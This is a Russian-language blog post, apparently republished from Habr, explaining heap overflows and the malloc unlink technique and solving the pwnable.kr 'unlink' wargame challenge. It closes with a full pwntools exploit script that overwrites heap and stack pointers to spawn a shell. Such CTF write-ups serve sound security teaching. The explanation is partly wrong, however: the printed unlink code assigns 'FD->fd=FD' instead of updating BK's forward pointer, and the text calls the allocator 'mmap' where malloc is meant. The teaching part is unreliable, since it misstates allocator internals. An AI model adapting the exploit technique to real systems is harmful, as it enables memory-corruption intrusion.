- PVSM.RU - https://www.pvsm.ru -
В данной статье разберемся с уязвимостью переполнение буфера в куче, а также решим 19-е задание с сайта pwnable.kr [1].
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [2] и группу для обсуждения любых вопросов [3] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [4].
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Память может быть занятой (аллоцированной) и свободной. На рисунке представлена динамическая память.
Таким образом никакие два свободных блока не могут являться соседями. Плюс ко всему, на границе занятой и свободной системной памяти есть специально обрабатываемый свободный W-блок.
Представление блоков в списки (корзины) происходит следующим образом.
Для удаления свободного блока из списка применяется метод unlink.
void unlink(S, BK, FD){
BK = S->bk;
FD = S->fd;
FD->bk=BK;
FD->fd=FD;
}
Разберем как работает mmap. На первом шаге происходит проверка массивов необходимых размеров (к примеру 24 байт). Если есть необходимый блок, то он отделяется с помощью unlink.
На втором шаге, если данный блок достаточно большой, то он делится на две части. Первая часть аллоцируется, а вторая перераспределяется в другой массив.
На третьем шаге, если не было выделена блока необходимого размера, то проверяется W-блок. Есои он удовлетворяет, то с ним проводятся мероприятия шага два. Если W-блок окаался мал, то для расширения доступной памяти испольуются sbrk() и mmap(). Метод Free полность противоположен mmap.
Переполнение кучи — это тип переполнения буфера, который происходит в области данных кучи. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует обмен указателями для перезаписи указателя на программную функцию.
Как пример, в функции Unlink, с помощью FD->bk можно изменить значение произвольного слова в памяти. К примеру, положить шеллкод изменить адрес GOT. Пример переполнения рассмотрим на примере.
Нажимаем на первую иконку с подписью unlink, и нам говорят, что нужно подключиться по SSH с паролем guest.
При подключении мы видим соответствующий баннер.
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
Давайте посмотрим исходный код.
Так у нас объект B связывается с объектами А и С. Потом происходит ввод и заполнение объекта А. Имея связь объетов А — B — C и контролируя заполнение А, мы можем переполнить кучу и перезаписать объекты В и С. Необходимо найти способ эксплуатации уязвимости. Посмотрим через gdb.
Таким образом, можно записать шеллкод и переписать адрес возврата из main на наш шеллкод. Адрес возврата попадает в esр из регистра ecx, куда податает из ebр-4. Дизассемблируя функцию unlink, замечаем, что ebр-4 можно контролировать пользовательким вводом.
Разберем, как расположены наши объекты в памяти и как работает функция unlink. Каждый объект занимает в памяти 16 байт (по 4 на указатели и 8 на буффер).
Выделение памяти под объекты происходит в строках main+38, main+54 и main+70. Перед каждым вызовом укаатель на стек (esр) увеличивается на 16 и уменьшается на 12, после чего резервируется 16 байт.
То есть между структурами есть свободные 4 байта.
Далее производится линковка и разлинковка объектов.
Таким образом, нам нужно, чтобы при возврате из функции адрес попадет на место расположения heaр+12, которая передаст управления по адресу, где расположен шеллкод.
from pwn import *
s = ssh("unlink", "pwnable.kr", password="guest", port=2222)
ex = s.process("./unlink")
shell_address = p32(0x80484eb)
ans = ex.recv().split("n")
stack_addr = p32(int(ans[0].split(" ")[5],16) + 16)
heap_addr = p32(int(ans[1].split(" ")[5],16) + 12)
payload = shell_address + "A"*12 + heap_addr + stack_addr
ex.sendline(payload)
ex.interactive()
Получаем шелл, читаем флаг, получаем 10 очков.
Вы можете присоединиться к нам в Telegram [2]. В следующий раз разберемся с переполнением кучи.
Автор: RalfHacker
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/programmirovanie/326701
Ссылки в тексте:
[1] pwnable.kr: https://pwnable.kr/index.php
[2] канал в Telegram: https://t.me/RalfHackerChannel
[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[5] Источник: https://habr.com/ru/post/463227/?utm_source=habrahabr&utm_medium=rss&utm_campaign=463227
Нажмите здесь для печати.